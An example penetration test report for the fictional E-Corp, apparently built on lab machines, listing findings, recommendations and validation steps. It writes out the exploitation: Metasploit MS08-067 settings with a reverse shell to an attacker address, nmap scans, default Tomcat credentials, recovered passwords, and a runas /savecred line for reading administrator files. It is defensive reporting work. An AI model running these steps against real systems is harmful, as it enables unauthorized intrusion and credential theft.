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EXECUTIVE SUMMARY 

Overview 

Active Defense evaluated the security of E-Corporation’s 

servers during a one week period in September 2017.  The 

goal of the assessment was to identify and verify security 

vulnerabilities within external facing systems and services. 

All vulnerabilities contained in this report have been verified 

and exploited (where applicable) to demonstrate the risk to 

E-Corp, its employees, and its clients. 

Findings Overview 

 

 

Key Findings 

Active Defense identified multiple critical vulnerabilities 

across multiple systems which allows an attacker to gain 

full access to the systems. Additionally, Active Defense 

identified  

● E-Corp does not utilize two-factor authentication and 

multiple users were found to use weak passwords.  An 

attacker could easily guess these passwords to gain 

access to the systems. 

● E-Corp systems did not have critical software patches 

and updates applied. Active Defense was able to 

exploit these vulnerabilities with publicly available 

exploits.  These exploits allow attackers to 

compromise the confidentiality, integrity and 

availability of E-Corp’s data. 

Strategic Recommendations 

To increase the security posture of E-Corp, Active Defense 

recommends the following strategic actions: 

● IMPLEMENT TWO-FACTOR AUTHENTICATION ON 

PUBLIC FACING SYSTEMS. Internet systems are 

regularly attacked with username and passwords. 

Two-Factor Authentication prevents an attacker 

guessing a user’s password if weak passwords are 

employed. 

● STRENGTHEN PASSWORD REQUIREMENTS. 

Passwords such as Winter2017, and P@ssword123! 

are often used by many people and are considered 

well-known.  Attackers use lists of well-known 

passwords to brute force access to systems. Stronger 

password requirements can prevent usage of 

well-known passwords. 

● IMPLEMENT ROUTINE PATCHING SCHEDULE. 

Security updates are published by software vendors to 

remediate security vulnerabilities found in the original 

software.  Often, exploitation techniques are published 

on the internet.  Patches should be applied routinely to 

both operating systems and applications to prevent 

known exploits from being used against E-Corp’s 

systems. 

● IMPLEMENT VULNERABILITY MANAGEMENT 

PROGRAM. In addition to routine patching, a 

vulnerability management program can give visibility 

of the current risks unpatched vulnerabilities represent 

in the system environment. Vulnerability scanners can 

automatically identify weaknesses in applications and 

expose areas for security improvements.  The 

remediation team can prioritize these vulnerabilities 

and drive resolution to increase the security posture of 

E-Corp’s data. 

● UPGRADE UNSUPPORTED SOFTWARE. Software 

that is unsupported does not receive security updates 

or patches.  If a vulnerability is identified on an 

unsupported version of an application, the application 

will forever be vulnerable.  Maintaining supported 

software allows security flaws to be fixed through 

patching and vulnerability management. 
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FINDINGS OVERVIEW 

 

CR-001   MISSING CRITICAL PATCH FOR MS08-067 

Critical Risk Vulnerability Management 

 

CR-002   EXPOSED ADMINISTRATIVE SERVICES TO INTERNET 

Critical Risk System Configuration  

 

CR-003   DEFAULT ADMIN CREDENTIALS 

Critical Risk Authentication 

 

CR-004   SENSITIVE DATA ON FTP SHARE WITH ANONYMOUS ACCESS 

Critical Risk Access Controls 

 

HI-001   SINGLE FACTOR AUTHENTICATION TO EXTERNAL FACING SYSTEMS 

High Risk Authentication 

 

HI-002   UNRESTRICTED FILE UPLOAD 

High Risk Application Development 

 

HI-003   CACHED ADMINISTRATOR CREDENTIALS 

High Risk Authentication 

 

MD-001   TELNET ENABLED ON INTERNAL SYSTEM 

Medium Risk System Configuration 
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KEY FINDINGS 

CRITICAL RISK FINDINGS 

 

CR-001   MISSING CRITICAL PATCH FOR MS08-067 

Critical Risk Vulnerability Management 

 

Impact 

The system allows for unauthenticated access with the highest privileges, SYSTEM.  The attacker is able to read, modify, and 

delete all data on system.  For demonstration purposes, Active Defense accessed a file planted by E-Corp that is only readable 

by the administrator of the system utilizing a publically available exploit for this vulnerability. 

 

Figure 1. Read of root.txt on 10.10.10.4 using MS08-067 exploit 

Affected System 

10.10.10.4 - legacy.ecorp.local 

Description  

Active Defense identified major security concerns with one system’s operating system.  The server was not patched for a 

well-known Microsoft Windows vulnerability (MS08-067) that allows an unauthorized user to gain full administrative access of the 

server.  There are publicly available programs that would allow any person on the internet to gain full control of the server without 

the use of passwords or other authentication methods. 

Recommendations 

Apply patch for MS08-067  
1

Validation 

1. Use Metasploit module ms08_067_netapi to exploit the vulnerability on 10.10.10.4. Below are the options used in the 

assessment: 

1
 https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067 
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Figure 2. MS08-067 Metasploit Options and exploitation 

 

CR-002   EXPOSED ADMINISTRATIVE SERVICES TO INTERNET 

Critical Risk System Configuration  

 

Impact 

The attacker gained full administrative privileges of 10.10.10.4 by exploiting the exposed SMB service on Port 445.  The remote 

desktop service was also exposed, offering another attack vector for control of the system. 
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Figure 3. nmap of 10.10.10.4 showing exposed system services 

Affected System 

10.10.10.4 - legacy.ecorp.local 

Description 

The NetBIOS service (Port 139), SMB service (Port 445), and RDP service (Port 3389) for system 10.10.10.4 were exposed to 

the internet. These services allow for system administration and other highly privileged activity.  Exposing these services to the 

internet increases the attack surface and overall risk of breach.  The SMB service on Port 445 was utilized to gain full 

administrative access during this penetration test. These services allow for system function capabilities such as file sharing and 

authentication to any person on the Internet.  The exploit of the critical vulnerability (MS08-067) was able to be used because of 

these exposed services. 

Recommendations 

Block ports 139, 445, 3389 from 10.10.10.4 to the internet 

Validation 

1. Use a network scanning tool like nmap to scan for open ports on the system from an external network.  The command 

used in the assessment is below:  

nmap -sC -sV -oA initial.scan 10.10.10.4 

 

 

CR-003   DEFAULT ADMIN CREDENTIALS 

Critical Risk Authentication 

 

Impact 

The default credentials for the Apache Tomcat administrator account were used to obtain administrative access to the service 

running on system 10.10.10.95.  This allowed the attacker to upload a malicious file and execute it under the system account on 

the server.  
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Figure 4. Logon page that allows default credentials 

 

Affected System 

10.10.10.95 - jerry.ecorp.local 

Description 

Default credentials are well-known and publicly documented.  Using default credentials allows adversaries to gain unauthorized 

access to systems.  Changing default credentials to a strong authentication method will prevent adversaries from using known 

username/passwords. 

Recommendations 

Change the default administrator password.  Perform a password audit to ensure no other default credentials are used on 

sensitive machines. 

Validation 

1. Log into administration panel using default user tomcat and default password s3cret. 

 

 

CR-004   SENSITIVE DATA ON FTP SHARE WITH ANONYMOUS ACCESS 

Critical Risk Access Controls 

 

Impact 

The attacker obtained system credentials from data hosted on a FTP server hosted at 10.10.10.98 using an anonymous login. 

The unencrypted credentials stored in a database file, backup.mdb, could be used to decrypt an exported mailbox that contained 

the credentials for the ‘security’ user to telnet into the system.  This provided the attacker with a user login to 10.10.10.98 where 

he then could elevate his privileges to ‘root’ utilizing a stored password (See HI-003). 
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Figure 5. FTP download of backup.mdb database 

Figure 6. Reading the credentials from backup.mdb 

 
Figure 7. Email containing credentials for ‘security’ account 

Affected System 

10.10.10.98 - access.ecorp.local 

Description 

Anonymous login on FTP servers allows for anyone to access the ‘anonymous’ directory using username anonymous and 

anything as the password.  The anonymous user has read access to two folders ./Backups and ./Engineer.  There is a database 

named backup.mdb in the ./Backups folder that contains unencrypted usernames and passwords.  The ‘engineer’ credentials 

can be used to decrypt an exported mailbox in the ./Engineer folder, ‘Access Control.pst’.  There is an email that contains the 

credentials for the ‘security’ account within the mailbox.  This account can be used to telnet to the system. 

Recommendations 
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Remove the files containing credentials on the FTP server.  Evaluate if the ‘anonymous’ user has a valid use case in the 

environment. If there are no use cases for the anonymous user to this FTP server, remove the account access.. 

Validation 

1. Log into the FTP server on 10.10.10.98 with username ‘anonymous’ and password ‘test@evil.com’.  
2. Locate the credentials in the database ./Backup/backup.mdb in table ‘auth_user’ using Microsoft Access or a tool such 

as mdb-export. The user of interest is ‘engineer’ with password ‘access4u@security’ 

3. Extract the ‘Access Control.pst’ file from encrypted zip ‘Access Control.zip’ using the ‘access4u@security’ password. 

Search the .pst file for deleted email with subject “MegaCorp Access Control ‘security’ Account” 

 

HI-001   SINGLE FACTOR AUTHENTICATION TO EXTERNAL FACING SYSTEMS 

High Risk Authentication 

Impact 

The attacker was able to utilize known logon credentials for system at 10.10.10.95 to gain administrative access to the web 

server because the system utilized a single factor of authentication.. 

 
Figure 8. Administrative Panel of Apache Tomcat on 10.10.10.95 

Affected System 

All systems 

Description 

Single factor authentication is susceptible to various password attacks.  When a system is externally facing (available to the 

internet), adversaries can attempt to authenticate to the system using username and password combinations.  These 

authentication attempts can utilize lists built from common passwords, previous password breaches, and variations on these 

methods to brute force the authentication of the system. 
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Recommendations 

Implement a multifactor authentication solution. 

Validation 

Visit the various login pages for the affected systems and attempt to authenticate.  There is no multifactor authentication prompt. 

 

HI-002   UNRESTRICTED FILE UPLOAD 

High Risk Application Development 

Impact 

The attacker was able to upload a malicious file to system 10.10.10.95 because the upload form did not validate the filetype of 

the uploaded file.  The attacker used this uploaded file to gain unauthorized access to the system. 

 
Figure 9. Unrestricted file upload 

Affected System 

10.10.10.95 - jerry.ecorp.local 

Description 

Unrestricted file upload allows any file to be uploaded to the system.  This can include malicious executables that adversaries 

can utilize to gain unauthorized access to the system. File upload validation allows the program to validate that only the correct 

files are uploaded to the system.  This aids in the prevention of unwanted files being uploaded to the system.  

Recommendations 

Implement file upload validation on the form found at http://10.10.10.95:8080/manager/html 

Validation 
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Upload a file with a different file extension other than .WAR to the upload form at http://10.10.10.95:8080/manager/html 

 

HI-003   CACHED ADMINISTRATOR CREDENTIALS 

High Risk Authentication 

Impact 

The attacker was able to use cached administrator credentials on system 10.10.10.98 to execute commands as an administrator.  

 
Figure 10. Listing the stored credentials on the machine 

 

 
Figure 11. Running commands as administrator from local user account 

 
Affected System 

10.10.10.98 - access.ecorp.local 

Description 

Windows caches login credentials of any user that logs into the system.  This reduces the number of logon prompts the user 

receives while accessessing networked resources while logged onto a system.  However, these credentials can be used 

maliciously to run tasks with the saved credentials.  

Recommendations 

Do not log into systems with Administrator accounts.  Using normal user accounts and then elevating to administrator privileges 

with a separate administrator account will prevent the credentials being cached on login. 

Validation 

1. On 10.10.10.98, issue a cmdkey /list to display all stored credentials.  

2. Use the following script to output the contents of administrator-only file ../root.txt  

echo runas /user:ACCESS\Administrator /savecred “powershell 

get-content -path C:\Users\Administrator\Desktop\root.txt > 

C:\Users\security\answer.txt” >  readout.bat 

The data within the root.txt file will now exist in ../answer.txt. 
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MD-001   TELNET ENABLED ON INTERNAL SYSTEM 

Medium Risk System Configuration 

Impact 

The attackers can listen for network traffic and user inputs for telnet sessions and obtain network credentials and other sensitive 

information because the telnet session is unencrypted. 

 
Figure 12. Telnet session on 10.10.10.98 

Affected System 

10.10.10.98 - access.ecorp.local 

Description 

Telnet is a legacy protocol that does not offer any encryption of its traffic.  A network sniffer would be able to capture network 

traffic to and from the system.  All data would be in the clear and easily recognizable by a trained network attacker.  Information 

could include usernames and passwords that would be used for unauthorized logins from the attacker. 

Recommendations 

Evaluate the need for telnet and remove if possible. 

Validation 

Telnet to system 10.10.10.98 on Port 23.  
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Attack Methodology 

 

<NOTE: ONLY ONE MACHINE IS INCLUDED FOR EXAMPLE REPORT. FULL REPORTS 

INCLUDE METHODOLOGY FOR EACH MACHINE IN SCOPE OF REPORT> 

 

10.10.10.4 legacy.ecorp.local  

Active Defense identified a critical vulnerability allowing for full control of the server.  A successful exploit was used to steal the 

information protected by the administrator account.  This file, root.txt, was created in such a way that only the administrator 

account, root, could access the file.  The exploit allowed for the root account to be compromised, allowing us to read the contents 

of the file.  

1. Information Gathering 

The attacker used a network scanning tool, nmap, to enumerate services that were exposed to the internet and learn what 

operating system was in place.  

nmap -sC -sV -oA initial.scan 10.10.10.4 

The scan results identified the operating system (Microsoft Windows XP) and multiple services exposed to the internet: 

 

Figure 1. Nmap Results 

Ecorp exposed three system services to the internet. These services were NetBIOS (Port 139), SMB (Port 445), and RDP 

(3389).  These ports allow administrators to perform such actions as establish system sessions, share files, and access the 

system.  These services are often used by system administrators to facilitate the sharing of data on private networks. 

However, two of these services were fully exposed to the internet without any network protection in place.  This allows all internet 

users to interact with these services.  Although there are passwords in place to prevent anyone from accessing the system, 

password can be easily subverted with phising attacks or brute force attacks.  

Further, these services can also be exploited through vulnerabilities present in the system.  The attacker verified the vulnerability 

using an nmap vulnerability scanning function. 

nmap --script smb-vuln-ms08-067 -p445 10.10.10.4 -oA ms08-067 
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Figure 2. MS08-067 Scan Results 

2. Exploitation 

Critical, Well-Known Vulnerability (MS08-067) 

The Legacy server is not patched for Microsoft Windows vulnerability MS08-067 .  This vulnerability, published in October 2008, 
2

allows for full system control if the system receives a specially crafted remote procedure call (RPC).  All Windows 2000, XP, 

2003, Vista, and 2008 operating systems are affected by this vulnerability. 

The exploit is publicly available on the internet . The exploit has been automated into an exploit platform called Metasploit .  An 
3 4

attacker can use simple commands to exploit this vulnerability and take full control of the system.  

The attacker in this assessment successfully exploited the MS08-067 vulnerability using the publicly available exploit in the 

Metasploit framework.  This attack was successful because the Legacy service SMB on port 445 was exposed and unprotected 

on the internet. 

 

Metasploit Module: /exploit/windows/smb/ms08_067_netapi 

Name  Setting 

RHOST  10.10.10.4 

RPORT  445 

SMBPIPE  BROWSER 

LHOST  10.10.14.9 (Attacker IP Address) 

LPORT  4444 (Attacker Listening Port) 

 

2
 https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067 

3
 https://www.exploit-db.com/exploits/7104/ 

4
 https://blog.rapid7.com/2014/02/03/new-ms08-067/ 
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Figure 3. Metasploit options for MS08-067 

The attacker is presented with a reverse shell once the exploit is successful.  The attacker reads the confidential files to prove 

the exploit was successful. 

 

Figure 4. Read of user.txt 

 

Figure 5. Read of root.txt 
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